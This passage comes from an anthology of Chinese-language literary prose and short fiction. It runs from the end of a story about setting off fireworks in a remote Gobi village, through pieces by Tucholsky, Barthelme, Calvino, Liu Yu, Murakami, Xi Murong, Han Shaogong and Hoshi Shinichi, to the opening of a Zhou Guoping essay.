　　“会不会引起火灾？”

　　“应该……”

　　讨论完毕，我们都冻得抖抖索索的了，加之害怕，打火机都没法瞄准导线。

　　烟花一点问题也没有。和曾经看到过的一样，一串串缤纷闪亮的火球从那里迸出，高高地冲向漆黑的空中然后喷爆出一道道金波银浪。四周寂静无声，白雪皑皑。这幕强烈的情景不但没有撕破四周的寂静，更令这寂静瞬间深不见底。不远处的荒野在烟花的照耀下忽明忽暗，更远的地方，沙漠的轮廓在夜色中脉动了两三下。

　　时间非常短暂，我赶紧进房子去拉外婆，我妈也四处去唤赛虎和蛋蛋出来看。

　　外婆走得太慢，等一步一步挪出门，都已经结束了，只看到残落的星星点点碎花最后飞溅了两三下。尽管这样，她也很高兴，惊叹了好几声，然后赶紧躲回屋子。外面太冷。

　　赛虎是个大笨蛋，一看到外面亮晶晶的，就一头钻到床底下死活不肯出来了。蛋蛋还跑到门口对着天空叫了几声。阿黄见怪不怪，卧在门口埋头大睡，一点兴趣也没有。

　　我开始点燃第二个烟花筒。这回这个是喷花，彩色的火花像喷泉一样滋啦啦地四面乱溅，还甩得噼里啪啦直响，特别热闹。我和好妈并排站在雪地里仰着头，看着烟花什么也不顾地挥霍着有限的激情。这烟花之外，四面八方茫茫无际的荒野沙漠……我们是在戈壁腹心、在大地深深的、深深的一处角落面对着这虚渺美好的事物……若有眼睛从高远的上方看到这幅情景，那么这一切将会令他感到多么寂寞啊。

　　同上回一样，外婆好容易走到大门外，又只看到了点尾巴。

　　于是我不许外婆回去，让她在雪地里等着，当着她的面点燃第三个烟花。我妈也把赛虎硬拖了出来。

　　刚刚火花一闪，赛虎“嗖”地一声就没了，消失在外面的夜色里。但没过一会儿，又想回到我们这边来，便以烟花为圆心，绕了五六米的半径迂转回来。

　　这时，在火光中，才看清院墙外的黑暗中不知干什么时候已经站了两三个人，正静静地仰头凝视着这幕炫烂的――对阿克哈拉来说根本就是“奇迹”般的情景。我认出其中一个女人是我们的邻居，她穿着破烂的长裙，裹着鲜艳的头巾，笔直单薄地站在那里，我在瞬间看到她宁静冷淡的大眼睛在烟花的照耀下是那样年轻。

　　远处有一两幢房子的灯亮了，有人正披着衣服往这里走。

　　但这一次同样很快就结束了。

　　我只买了三个。于是再也没有了。他们又站了一会儿，低声说了几句，才安静地消失在黑暗中。

　　第二天，来店里买东西的人都会由衷地赞美一声：“昨天晚上，你们房子，好漂亮啊！”

　　真让人纳闷，深更半夜的，怎么会有那么多人看到呢？

　　甚至，连住在河对岸的老乡套着马爬犁子来这个村里买东西时也这么说：“昨天晚上你们那里真漂亮啊！你们过年了吗？”

　　别说，这还真是阿克哈拉第一次有人放烟花呢！明年我再也不买这种小小的便宜货了，一定要买那种最高最大的，可以看好长时间的。一定要买好多好多，让所有人好好看个够。

没有新雪

图霍文斯基

　　当你向上攀登，气喘吁吁地环顾四周时，你会觉得自己真了不起，竟能登上这么高的山峰，而且是独自一人，然而你马上又会发现雪地里地脚印，在你之前这里已经有人来过。

　　信仰上帝。不要信仰上帝。抛弃一切哲学。让医生宣布你得了胃癌，并且告诉你只能再活上四年，然后就一了百了。相信女人。不要相信女人。同时和两个女人一起生活。随波逐流，归真返璞……

　　所有这些生活情感在你之前已经有人体验过了：有人相信过，有人怀疑过，有人笑过，有人哭过，还有人用手指挖着鼻孔沉思过。前面总有人已经有过其他人。

　　我知道，这改变不了什么，你毕竟是头一次经历这些。对你而言，这里是新雪。但它毕竟不是，发现这一点最初是很痛苦的。从前，在波兰有一个犹太人，他没钱上大学，但他的脑子里总想着数学问题。他阅读能够得到的所有的书――也就那么可怜巴巴的几本，他研究和思考，仅仅为自己思考。有一天，他终于有所发明，他发明了一种全新的体系，他觉得自己找到些什么。当他离开小城，来到外面的世界，他看到了许多新书，他自以为是他发明创造的东西，其实早就有了，这就是微积分。不久，他就去世了。有人说他死于肺结核，其实他并非死于肺结核。

　　在孤独中这点最为奇特。在人群中，人们有着标准的经历，你也许愿意相信这一点。但是当他们也像你一样孤独，也这样冥思苦想，甚至考虑到死亡，离群索居，试图展望未来时，他们也许认为自己是站在人类的脚尚未踏过的高山之上。但是，那儿已有脚印，总是已经有人先到过了，总是有人登的更高，远远超过了你的能力。

　　你不应泄气。攀登，攀登，攀登。但是，没有顶峰，也没有新雪。

论天使

唐纳德 · 巴塞尔姆

　　上帝一死，天使们的处境就尴尬了。他们突然间被一个基本的问题缠绕住了。你可以试图去想象一下当时的情景：当这个问题涌进天使的意识，困扰他们，用可怕的力量紧紧抓住他们，他们的表情如何呢？这个问题就是："天使是什么？"

　　由于对提问陌生，对恐怖不习惯，对孤独准备不足，天使们（我们猜想）陷入了绝望之中。

　　天使"是"什么，这个问题有相当长的历史。比如，斯维登堡就曾和众多天使交谈过，还把他们告诉他的话忠实地记录了下来。斯维登堡说，天使长得像人类。"天使有着人的形状，或者就是人，这个我已经看见过上千次了。"然后又说："根据多年的经验，我可以说天使的形状整个就是人，有脸、眼睛、耳朵、身体、胳膊、手脚……"但谁也无法用肉眼看见天使，除非是用灵眼。

　　关于天使，斯维登堡还有许多可说，而且都是最有意思的：从不允许一位天使站在另一位天使后面，看着他的后脑勺，因为这样会干扰从主那儿涌来的真和善；天使们拥有东方，主在那儿被看作是太阳，永远在他们的面前；还有，天使们穿的衣服是依他们的聪明的程度而定的。"他们中最聪明的，一些穿着闪光的衣服，仿佛有火焰在跳跃；而另一些则穿着亮晶晶的、光彩夺目的衣服；不太聪明的穿着白闪闪的衣服，有的白衣服有光彩，有的没有；更不聪明的穿的是各种颜色的服装。但天堂最中心的那些天使不穿衣服。"

　　所有这些说法（大概）已经过时了。

　　古斯塔夫·戴维森，在他那本实用的《天使辞典》中，把许多关于天使的知识收集到一起。他们还有名字：埃吕巴特尔天使、弗里亚涅天使、盖普天使、哈提法斯天使（华美服饰的天才）、默默天使（一位失足的天使）、麦克特罗天使、奥尔天使、拉希天使、桑达尔丰天使（比步行 500 年的旅行还要高大）、斯麦特天使。戴维森还进行了分门别类；颤抖天使，他们守护在天座的周围；吼叫大师和呐喊大臣，他们的任务是赞美；还有信使、调停者、观察家、警告者。戴维森的《辞典》是一本非常巨大的辞书，仅书目就列了 1100 百项。

　　对以前的天使意识，约瑟夫·莱昂斯做过极其生动的描述（这篇论文的题目是《天使的心理》，发表于 1957 年）。每位天使，莱昂斯说，对他自己和其他天使的所有情况都了如指掌。"没有天使会提出问题，因为问题是由于不知道，或有点意识到不知道造成的。天使不可能好奇；他没什么可好奇的。他也不可能有疑惑。了解了一切该了解的，需要了解的世界在他的眼里肯定是一系列有序的事实，完全在他的身后，完全是固定不变的，由他控制……"

　　但这点也已经过时了。

　　有意思的是，关于天使的论述，往往是关于人的论述。这些主题是相关联的。所以，我们最终了解到，莱昂斯其实写的不是天使，而是精神分裂症患者――通过乞灵于天使来思考人类。有关这个主题的许多论述都是如此――当天使们开始考虑他们和宇宙的新关系时，当各种相似物（天使更像翠鸟？还是更像人？还是更像音乐？）都列出来时，我们估计这一点对他们也是有效的。

　　我们还可以估计，天使们曾经试图从功能角度给自己下一个定义。天使干什么，他就是什么。所以有必要调查一下新的角色（你想起来这不是纯粹的思考）。当哀歌在天使的时代内持续了成千上万年之后，一位天使提出，唱哀歌是天使们永恒的工作，而爱慕只是过去的事情。和他们以前的职业，即葛劳丽斯不停的吟唱正相反，哀歌采取的形式是沉默。但沉默不是天使们的本性。

　　相反的观点认为，天使的工作是去证实混乱。关于混乱的存在有五大证据，其中第一个便是上帝不在了。其他四个肯定也能找到。界定和描述，如果要做到足够好，可以成为天使们永远从事的工作，正如人类的神学家们正在从事相反的工作。但天使们对混乱没有多少热情。

　　由于是天使们考虑到的最激进的，因此也就是最严肃的观点是拒绝――他们可以远离存在，不去存在。这一行为能给天使们增加巨大的尊严，但被认为是一种精神骄傲的表现。拒绝于是被否决了。

　　还有其他的建议，有的更加微妙复杂，有的不太微妙复杂，但没有一个非常有吸引力的。

　　我在电视上看见过一位著名的天使，他的衣服闪着光。他谈了天使们现在的状况。天使们，他说，在某些方面像人类。他感觉到爱慕问题是中心的问题。他说，天使们曾经有一段时间试过彼此爱慕，但最后发现这"不够"。他说他们正在继续寻找一条新的原则。

裸泳

伊塔洛 · 卡尔维诺

　　在某海滨浴场洗海水浴时，伊佐塔太太遇上了一件麻烦事：当从深海游回岸边的途中，她突然发觉自己的游泳衣不在身上了。她弄不清事情是刚刚发生的，还是发生得有一阵儿了，总之，她穿的那件新比基尼泳装只剩下了胸罩。可能是她臀部扭动时，扣子脱落，那个像布条一般的三角裤衩从另一条大腿滑了下去，也许正在她身下不远处往下沉呢，她试图潜入水中去寻找，但没有成功。

　　这是正午时分，海里四处都是人，有的在赛艇上，有的在小游艇上，还有的在游泳。伊佐塔太太不认识任何人。昨天，她丈夫把她送到此地后立即又回城里去了。她心想，眼下别无他法，只能找一艘救生船，或者找一个可信赖的男子，向他呼喊和求救，并要求他严守秘密。好在没有人怀疑她下身赤裸，因为她游泳时，决不把身子抬到水面，人们只能看见她的头和隐约可见的胳膊和胸部。这样，她就可以放心地去寻求援救了。为了弄清别人的眼睛到底能看清她身体的多少，她时不时停下来，几乎垂直地漂浮着，以便窥视一下自己的躯体。她惊讶地发现，阳光照射在水面，又变成水下清澈的闪光，她躯体上的一切在水中纤毫毕现。她急忙拢住双腿，旋转着身体，试图不让自己的眼睛看见它，但这一切都是枉费心机：她腹部光洁的肌肤在棕色的胸部和大腿之间显得白皙、醒目，波浪的起伏和不时摇荡的海藻都不能混淆小腹以下部分的深色和浅色。伊佐塔太太重又以她那不伦不类的方式游动起来，尽可能压低身子，即便如此，每划动一下手臂。她那白皙的全身就显出来，轮廓清晰可见。伊佐塔太太心慌意乱，急忙变换游泳姿势和方向，夹紧双腿在水中打转。想不到她一向引为自豪的玉体现在却成了她的巨大累赘。

　　正午已过，是吃午餐的时候了，游泳者开始纷纷游向岸边。船只、游艇也不时从伊佐塔太太身边驶过。她研究船上男人的面孔，有时，她几乎下决心向他们游过去，但是，他们眼神那邪恶的一瞥，或者某种不友好的动作，都会吓得她逃之夭夭。她装作若无其事地划着双臂，冷静地掩饰着已经很严重的疲惫。结伴而行的男人扬扬下巴或使使眼色，互相示意她的存在，而单身男人则用一只桨刹住船，故意掉转船头，截住她的去路。她看见一个救生员经过，他是唯一乘船巡视海面、预防出现意外的人，但此人嘴唇肥厚、肌肉凸鼓，她连喊他一声的勇气都没有了。她幻想的救星应是一个最无个人情欲、几乎像天使一般纯洁的人，看来这样的救星是不存在的。

　　在绝望的幻想中，伊佐塔太太所盼望的救星一直是男的，却没有想过女的，虽然和女的打交道，一切都应该变得简单一些，但她与同性别的人交往太少。如今，还有一个不便之处：大多数女人都是和一个男人双双坐在小游艇上，她们忌妒心强，总是远离着她，因为她那无可挑剔的躯体对她们便是一种挑战。有的船只驶过来，上面满是唧唧喳喳、兴高采烈的少女们，伊佐塔太太想到自己那有伤大雅、有损声誉的困境与天真无邪的少女们在情趣上相去太远，因而没敢贸然呼喊她们。有一位皮肤晒得黝黑的金发女郎倒是独自坐着一只赛艇驶过来，她神气活现，一定是去深海作裸体太阳浴的，而她决不会认为这种裸露能算作丢人或灾难。伊佐塔太太此时才感到自己是多么孤独，女人永远不会救她，男人又找不到，她感到筋疲力尽了。

　　伊佐塔太太及时抓住了一个铁锈色的小浮标，要不然她会被淹死的。然而，从浮标那里游到岸边，要付出惊人的体力。这时，她看到一个穿长裤的瘦削男人站在一条停驶的汽艇上向海里张望，他是留在海上的唯一一个人了。过了一会儿，那个瘦男人不见了，站在原处的是一个满脸稚气的卷发男孩儿。伊佐塔太太用被水泡得起了皱、变得毫无血色的手指头抓住浮标的螺钉，感到自己被整个世界所抛弃。当她再次抬眼时，看见那个男人和小孩都一起站在汽艇上，向她打手势，似乎告诉她要老实呆在那里，挣扎是徒劳的。随即，汽艇飞快地开走了，艇上的人头也不回一下。伊佐塔太太此时感到了末日的来临……不一会儿，汽艇又开回来，速度比刚才还要快，小男孩在船头扬起一条窄长的绿帆：一条连衣裙！

　　当汽艇停在她附近时，瘦男人向她伸出一只手拉她上船，同时用另一手捂住自己的眼睛。伊佐塔太太还没明白过来是怎么回事，便已经上了船。一切忽然间变得这么完美，寒冷和恐惧已被抛诸脑后，她的脸色很快从苍白变得通红。此时，她站在船上穿那条连衣裙，而男人和小孩则背过身去，眼望别处。汽艇开动之后，伊佐塔太太坐在船头，看到船底有一个潜水捕鱼的面罩，明白了这了两人是怎样发现她的秘密的。刚才，男孩戴着面具，拿着鱼叉，潜水游泳时看见了她，便上船告诉了那个男人，男人又下水看了一遍，然后，他们示意她等待，不过，她当时没看懂。他们急忙向港口驶去，跟一个渔妇要了一件衣服来。伊佐塔太太心想，这两个人看到她现在穿着衣服，说不定脑子里正竭力回忆刚才在水下看她时的情景呢，不过，她并不感到难为情，反正总得有人看见，她倒高兴恰是被这两个善良人看见，他们一定会感到新鲜和愉快的！

民意与伪民意

刘瑜

　　在我听到的各种为“大跃进”辩护的言论中，有一类是这样的：当时人民的积极性很高啊，大炼钢铁一拥而上，人民公社热火朝天，多快好省建设社会主义，那是民意！

　　对，还有人在给“大跃进”辩护，话说这是 21 世纪。

　　同理当然也可以运用于“反右”、“文革”等。如果我们能穿越时空隧道，跑到 1957 年 10 月的中国做一个民意测验，问民众要不要引蛇出洞揭批反动“右派”，测验结果多半说是“要”。或者穿越到 1967 年 1 月去做一个民意测验，问民众应该不应该修理“走资派”，给他们戴高帽游街批斗，估计民意也会万众一心地说：应该！岂止“应该”，他们还会在调查表里找有没有“再踏上一只脚”这一选项。

　　不奇怪。1936 年到苏联去，“大清洗”也是民意。1939 年到德国去，打波兰也是民意。

　　现在，假设我们是一场选美大赛中的裁判。主持人指着台上光芒四射的美女宣布：“你们有三个选择：你可以选择 A，或者 A，或者 A。”

　　哇，琳琅满目耶。

　　什么？你想选择 B？好的，谢谢你选择 A。什么？你想选择 B？好的，谢谢你选择 A。

　　有一种民意叫伪民意。在一个多元意见、选择自由不可能的环境里，民意只能被认作是伪民意。即使它是真民意，你也无从知道它是不是真民意。

　　伪民意未必是假民意。它未必是数据舞弊，比如把 35％的支持率用橡皮擦擦掉，改成 95%。它也未必全然是政治恐吓的产物，虽然恐吓往往是其要素之一。在特定时刻，人们可能是真心地想要大炼钢铁、搞人民公社、支持“大清洗”、支持军国主义。1958 年，当公社社员坐在堆出来的麦地上拍丰收卫星的照片时，观察他们脸上的笑容，笑得那可是货真价实。1966 年，当红卫兵们将皮鞭抽向“地富反坏右”时，他们眼里的熊熊怒火，肯定也不是伪劣产品。

　　鉴定民意的真伪，标准不在于民众选择的那一刻是不是真诚，而在于他们在形成意见时讨论是否自由、观念可否多元、信息是否充分。没有自由讨论基础的民意，就像一年四季只吹西北风的树，长歪了毫不奇怪。如果美女 A 盛装在镁光灯下从观众面前惊艳地飘过，而美女 B 只能戴着口罩站在舞台后方黑漆漆的角落里。就是百分之百的观众百分之百真诚地选择了美女 A 为选美冠军，那能说明什么呢？说明那个镁光灯质量不错，以及那个口罩还挺严实。

　　最近我读到一篇关于“中国人民主观”的文章，就给我这种印象。这篇文章告诉我们，调查显示，中国人的民主观是“家长式”的，而不是“自由式”的。也就是说，在中国人看来，领导为老百姓着想，那就是民主了，民众自己犯不着参与到政治决策过程当中去。民众自己参与到决策过程中去，那是“自由式”民主，咱们不吃那一套。

　　既然是民意调查的结果，那数据肯定错不了。问题在于，如果被调查者天天生活在家长式民主里，每天听到的都是家长如何可亲可信可敬，却从未见过其他式民主长什么样，信息不对称不充分，这样的调查能说明什么呢？你说，让你选你爱吃猪肉还是爱吃恐龙肉，你怎么选呢？

　　小说《美丽新世界》里，福特纪元的统治者发明了一种“睡梦教育”，就是在本国人民睡着时不断地向他们广播重复信息。比如，“苹果是个坏东西”、“苹果是个坏东西”、“苹果是个坏东西”……等睡梦中的人们醒过来时，他们会伸着懒腰揉着双眼，喃喃自语：苹果是个坏东西。

　　当然制造伪民意不仅仅依靠宣传，还可以依靠贿赂：凡是选择 A 的，可以得到夏威夷浪漫之旅机票两张哦。还有煽情也很重要：从前，有一个美女叫 A，她来自于一个贫苦家庭，而另一个丑女叫 B，她的爸爸叫李刚……

　　1953 年 9 月的政协会议上，梁漱溟发言批评政府的农村政策，说工业化大刀阔斧，农村却被忽视，毛主席听了很不高兴，说梁是野心家、伪君子、以及“用笔杀人的杀人犯”。不知好歹的梁漱溟较起真了，非要把事情讲清楚，说要看看毛主席有没有把话听完的雅量。毛主席还没彻底表态呢，台下群众不答应了：民主权利不给反动分子！梁漱溟滚下台来！停止他的胡言乱语！……梁漱溟赖着不走，不肯下台去，固执地跟毛主席要“雅量”。最后，会议只好用举手表决的方式来决定他是否有说下去的权利。

　　表决结果是什么呢？给大家一个提示：建国前三年，大约有两百万反革命分子给咔嚓了，在此次政协会议以前，有过镇反运动，三反运动，五反运动，批武训运动，土改中的批斗运动和诉苦运动，延安整风中的思想改造运动以及抢救运动，苏区的镇反运动。现在，你们猜，这次表决结果会是什么呢？

献欲手册

村上春树

　　我喜欢在健身房里活动身体，因此经常去。心里总是在想：就不能有效利用这里消耗的能量，拿来发电吗？

　　比如说大约十台固定式健身自行车排成一列，大家正在拼命地踩踏。每次看到这一幕，我就想，要是能用来发电多好。当然，与核电站相比，能量微不足道，可假如有很多健身自行车，让大家轮流拼命去踩，起码能提供街头信号灯所需的能量吧？就连古埃及的金字塔，不也几乎是人力建成的吗？把大家的力量聚集起来，绝不容小觑。

　　就像“献血手册”一样，不妨做一本“能量手册”。在街角放上一排健身自行车，请志愿者们踩动脚踏板发电，然后在手册上敲上两千点戳印：“谢谢，您辛苦啦。您今天献的能量是两千大卡。”凑足一定点数，就能领到纪念品。如果制定出这样一套制度，我猜一定有许多人愿意做发电志愿者。既可以多少缓解能量不足，又能达到健身的目的，还减少了医疗保险的负担，岂不都是好事？我肯定也会热心地做个街头志愿者。

　　这种“献能方式”，我很久以前就在提倡，可没有一个人听我的。为什么我每个个人主张都被人们轻率地漠视呢？

　　这也是上次闲得无聊时偶发奇想：多余的性欲是否也能有效利用？即便是性欲，也不失为一种能量，白白扔掉未免可惜。

　　比如说精力充沛的男高中生拿着“献欲手册”来到“献欲中心”说：“最近性欲过剩，我想献欲。”美貌的女护士便说：“好的，谢谢您。这就帮您抽取”于是性欲当场顺利地转化为电力（我还没弄明白设备的构造），有多少瓦就在“献欲手册”上记多少点。您不觉得这是个很好的制度吗？这样一来，没准就能顺利度过电力紧缺的夏季呢。连我也会积极出力……呃，出不出呀？

　　我想说的是，假如核电站消失了，现实生活中自然会有种种不便，可只要大家拼命努力，集思广益，或者说齐心合力，大概就能渡过难关。我是典型的文科男，技术上的事情不甚明白，但既然说是集思广益，也就无所谓文科理科了。只要全社会都拥有这种精神，自然就会有光明的前途。我觉得是这样。

　　假如有这种机会的话，咱们不如来个“献欲手册”大炫耀吧。

　　《爱吃沙拉的狮子》——村上春树

写给幸福

席慕容

　　如果我真正爱一个人，则我爱所有的人，我爱全世界，我爱生命。如果我能够对一个人说“我爱你”，则我必能够说“在你之中我爱一切人，通过你，我爱全世界，在你生命中我也爱我自己。” ——E·佛洛姆

　　原来，爱一个人，并不仅仳离只是强烈的感情而已，它还是“一项决心，一项判断，一项允诺。”

　　那么，在那天夜里，走在乡间滨海的小路上，我忽然间有了想大声呼唤的那种欲望也是非常正常的了。

　　我刚刚从海边走过来，心中仍然十分不舍把那样细白洁净的沙滩抛在身后。那天晚上，夜凉如水，宝蓝色的夜空里星月交辉，我赤足站在海边，能够感觉到浮面沙粒的温热干爽和松散，也能够同时感觉到再下一层沙粒的湿润清凉和坚实，浪潮在静夜里声音特别轻柔。

　　想一想，要多少年的时光才能装满这一片波涛起伏的海洋？要多少年的时光才能把山石冲蚀成细柔的沙粒，并且把它们均匀地铺在我的脚下？要多少年的时光才能酝酿出这样一个清凉美丽的夜晚？要多少多少年的时光啊！这个世界才能够等候我们的来临？

　　若是在这样的时刻里还不肯还不敢说出久藏在心里的秘密，若是在享有的时候还时时担忧它的无常，若是爱在被爱的时候还时时计算着什么时候会不再爱与不再被爱；那么，我哪里是在享用我的生命呢？我不过是不断在浪费它在摧折它而已吧。

　　那天晚上，我当然还是离开，我当然还是要把海浪、沙岸，还有月光都抛在身后。可是，我心里却还是感激着的，所以才禁不住想向这整个世界呼唤起来：“谢谢啊！谢谢这一切的一切啊！”

　　我想，在那宝蓝色的深邃的星空之上，在那亿万光年的距离之外，必定有一种温柔和慈悲的力量听到了我的感谢，并且微微俯首向我怜爱地微笑起来了吧。

　　在我大声呼唤着的那一刻，是不是也同时下了决心、作了判断、有了承诺了呢？

　　如果我能够学会了去真正地爱我的生命，我必定也能学会了去真正的爱人和爱这个世界。

　　所以，请让我学着为自己的行为负责，请让我学着不去后悔。当然，也请让我学着不要重复自己的错误。

　　请让我终于明白，每一条路径都有它不得不这样跋涉的理由，请让我终于相信，每一条要走上去的前途也有它不得不那样选择的方向。

　　请让我生活在这一刻，让我去好好地享用我的今天。

　　在这一切之外，请让我领略生命的卑微与尊贵。让我知道，整个人类的生命就有如一件一直在琢磨着的艺术创作。在我之前早已有了开始，在我之后也不会停顿不会结束，而我的来临我的存在却是这漫长的琢磨过程之中必不可少的一点，我的每一种努力都会留下印记。

　　请让我，让我能从容地品尝这生命的滋味。

文学何为？

韩少功

　　经常遇到有人提问：文学有什么用？我理解这些提问者，包括一些犹犹豫豫考入文科的学子。他们的潜台词大概是：文学能赚钱吗？能助我买下房子、车子以及名牌手表吗？能让我成为股市大户、炒楼金主以及豪华会所里的 VIP 吗？

　　我得遗憾地告诉他们：不能。

　　基本上不能——这意思是说除了极少数畅销书，文学自古就是微利甚至无利的事业。而那些畅销书的大部分，作为文字的快餐乃至泡沫，又与文学没有多大关系。街头书摊上红红绿绿的色情、凶杀、黑幕……一次次能把读者的钱掏出来，但不会有人太把它们当回事吧？

　　不过，岂止文学利薄，不赚钱的事情其实还很多。下棋和钓鱼赚钱吗？听音乐和逛山水赚钱吗？情投意合的朋友谈心赚钱吗？泪流满面的亲人思念赚钱吗？少年幻想与老人怀旧赚钱吗？走进教堂时的神秘感和敬畏感赚钱吗？做完义工后的充实感和成就感赚钱吗？大喊大叫奋不顾身地热爱偶像赚钱吗？……这些事非但不赚钱，可能还费钱，费大钱。但如果没有这一切，生活是否会少了点什么？会不会有些单调和空洞？

　　人与动物的差别，在于人是有文化的和有精神的，在于人总是追求一种有情有义的生活。换句话说，人没有特别的了不起，其嗅觉比不上狗，视觉比不上鸟，听觉比不上蝙蝠，搏杀能力比不上虎豹，但要命的是人这种直立动物往往比其它动物更贪婪。一条狗肯定想不明白，为何有些人买下一套房子还想圈占十套，有了十双鞋还去囤积一千双，发情频率也远超过生殖的必需。想想看，这样一种最无能又最贪婪的动物，如果失去了文明，失去了文明所承载的情与义，会成为什么样子？是不是连一条狗都有理由耻与为伍？

　　人以情义为立身之本，使人类社会几千年以来一直有文学的血脉在流淌。在没有版税、稿酬、奖金、电视采访、委员头衔乃至出版业的漫长岁月，不过是仅仅依靠口耳相传和手书传抄，文学也一直能生生不息蔚为大观，向人们传达着有关价值观的经验和想象，指示一条澄明敞亮的文明之道。这样的文学不赚钱，起码赚不出什么李嘉诚和比尔盖茨，却让赚到钱或没赚到钱的人都活得更有意义也更有意思，因此它不是一种谋生之术，而是一种心灵之学；不是一种职业，而是一种修养。把文学与利益联系起来，不过是一种可疑的现代制度安排，更是某些现代教育商、传媒商、学术商等等乐于制造的掘金神话。文科学子们大可不必轻信。

　　在另一方面，只要人类还存续，只要人类还需要精神的星空和地平线，文学就肯定广有作为和大有作为——因为每个人都不会满足于动物性的吃喝拉撒，哪怕是恶棍和混蛋也常有心中柔软的一角，忍不住会在金钱之外寻找点什么。在这个时候，在这个呼吸从容、目光清澈、神情舒展、容貌亲切的瞬间，在心灵与心灵相互靠近之际，永恒的文学就悄悄到场了。人类的文学宝库中所蕴藏的感动与美妙，就会成为出现在眼前的新生之门。

感情化了的电视机

星新一

　　“这就是我所发明的具有划时代意义的最新式电视机。跟这个比起来，以往的那些电视机全都成了过时的破烂货了。”Ｆ先生得意洋洋地向大家介绍着。

　　房间里挤满了参观了人，这当中有各个公司的经理和董事长，还有新闻记者等。其中有一个人问道：“看上去好像和普通的彩色电视机差不多，究竟它有什么优越性呀？”

　　“其优越性是显而易见的，它采用的电子技术、生理学、心理学、医学以及药物学等各种学科的最新成果，可以说是当代科学技术的结晶体。如果用这种电视机收看节目，观众将会对屏幕上出现的东西产生强烈的共鸣。

　　我就是根据这个基本思想发明的这种电视机。”

　　“请别吹得神乎其神，还是早一点让我们了解这种电视机的性能吧。”

　　“当然可以，我正是为此而请诸位光临的。”

　　Ｆ博士拿出许多类似手表的东西来，一一分给前来参观的人，并叫大家戴在手腕上。

　　“这是什么东西呀？”人们不约而同地问道。

　　“在这里面装有各种药剂。而且，根据装在电视机上的这根天线所发出的电波的不同，这些药剂会分别按照指示从微孔中出来，渗入手腕上的静脉之中。”

　　“是注射器吗？”

　　有的参观者脸上现出了对打针感到害怕的神情。于是，Ｆ博士便解释道：“不，请放心好了，决不会疼的。其作用是在播放喜剧节目时，把某种催笑药渗入人体，使正在收看电视的观众乐不可支，捧腹大笑起来。”

　　“可是，借助于药物引起的笑声一定是不太令人愉快的吧。”

　　“不，不会的。不管是人工催笑法还是其他什么笑法，只要是笑，都能给人以轻松愉快的感觉。并且，在观看悲剧节目的时候，它将会使人更加伤心，以致泪流满面，痛不欲生。由于这种新式电视机的作用，将使观众的感情增强两倍到四倍。”

　　“难道真的会这样吗？”

　　“要是不相信的话那就请当场试验吧。常言道，百闻不如一见。”

　　Ｆ博士说着就打开了那台新式电视机的开关。电视里正在播放电视剧。与此同时，和剧情发展相一致的指示性电波从那根天线上发射出来，分别进入了每个人手腕上的那只特殊“手表”。

　　于是，那些能够促使喜怒哀乐等各种感情强化的药剂便有条不紊地渗入了体内。当然，指示电波要比剧情发展先走一步，因为从渗入体内到产生药效是要经过一段时间的。

　　果然，观众们都被电视剧吸引住了。看到悲伤的场面时，大家都沉浸在悲哀之中，情不自禁地流出了眼泪。这些特殊装置的作用还不仅仅在感情方面，当屏幕上出现鲜花的时候，药剂就会及时地对嗅觉神经进行刺激，从而使人嗅到阵阵芳香；而当剧中人在就餐时，观众也产生饱餐一顿的感觉；当电视剧中的主人公遭到人家殴打时，观众们的身上竟隐隐作痛；而当屏幕上出现恋爱场面时，观众的心随之跳动加快。电视剧已经播送完了，大家还在依依不舍地回味刚才那种奇妙的身临其境的感觉。

　　人们都非常佩服地对主人说道：“真是妙不可言。我们都为你这个伟大的发明而感到自豪。可是，这种对你佩服的心情可能也是由于某种药剂的作用吧。”

　　“没有那回事。借助于药物的力量来赢得人家的尊敬之类的事我是不屑一顾的。”Ｆ博士得意洋洋地笑着回答。

　　有一位参观者问道：“那么，在进行实况转播的时候将会产生什么感觉呢？”

　　“当然，这不可能和观看电影以及电视剧时的感觉完全一样。可是，在收看体育比赛实况转播节目的时候，观众就会如同亲临比赛场地一般，情绪极为兴奋。”

　　“确实有道理。”

　　“将来也许可以使这种装置进一步微型化，把它做成胶囊的形状埋入人体内部，用指示电波来控制其药剂的注射量。哦，还要补充说明一下，因为本装置每天会注射两次中和药剂，因此绝对不会对人体产生任何副作用的，请诸位放心。”

　　“确实如此……”

　　参观者们对此感叹不已。

　　不久，这种新式电视机便开始大量生产了。在得到观众们的一致好评之后，很快便在整个社会上普及了。这种新式电视机所产生的极其强烈的身临其境的奇妙感觉，是从前那些老式电视机所望尘莫及的。

　　观众们可以和剧中人一起痛哭、欢笑等等。不过，理所当然的是，当剧中人死去的时候观众们是会跟着去死的。只不过在这个时候大家都感到心里很悲伤罢了。

　　可是，有一天发生了一件出人意外的事情。电视台的线路出了毛病，因此，控制药剂的指示电波和电视节目内容之间的同步关系被打乱了。

　　屏幕上正在演出喜剧。按照正常情况，观众们应该在药剂的作用下捧腹大笑的。可是现在每个人都捂着胸口伤心地哭了起来。有的人同情地说道：“哎呀，怎么会踩着香蕉皮滑一交的呀，这个人多么可怜呀，快救救他！”

　　此时，电视里出现了失恋的场面，大家莫名其妙地闻到了一股什么东西烧焦的糊臭味，并且还觉到自己的脚被什么东西敲打得痛不可耐。

　　在播放反映灾区难民情况的纪录片时，电视台的故障还没有排除，因此观众们都捧着肚皮笑得前仰后合，几乎连气都要喘不过来了。

　　“这有什么值得可怜的呀。太可笑了，实在是太可笑了……”

　　所有的一切都陷入了混乱之中。不一会儿，电视节目中断了。电视台的负责人出现在屏幕上，他向观众们表示歉意：“亲爱的观众们，非常抱歉。电视台发生了故障，目前正在全力以赴进行抢修，争取尽快恢复正常。”

　　正在这个时候，加强愤怒情绪的药剂注射进了观众们的体内，并且，由于指示电波被中断了，所以这种催怒剂的药效将维持很长一段时间。

　　“简直不像话。电视台的这个家伙可恶透顶，态度居然如此恶劣，真是岂有此理。”

　　所有的电视观众都变得怒不可遏，拍着桌子破口大骂起来。然而，片刻之后屏幕上的人像便消失了。于是，观众们就直接向电视台发泄自己的怒火。

　　人们冲出了家门，成群结队地闯进电视台，把所有的仪器设备都砸碎得粉碎。

　　也许是因为这场骚乱的缘故吧，指示电波突然变换了频率。于是，催怒药便消失了，取而代之的是使人感到心情舒畅、心旷神怡的另一种药剂。

　　大家都异口同声地叫了起来：“啊，多么令人愉快呀！”

车窗外

周国平

　　小时候喜欢乘车，尤其是火车，占据一个靠窗的位置，扒在窗户旁看窗外的风景。这爱好至今未变。

　　列车飞驰，窗外无物长驻，风景永远新鲜。

　　其实，窗外掠过什么风景，这并不重要。我喜欢的是那种流动的感觉。景物是流动的，

　　思绪也是流动的，两者融为一片，仿佛置身于流畅的梦境。

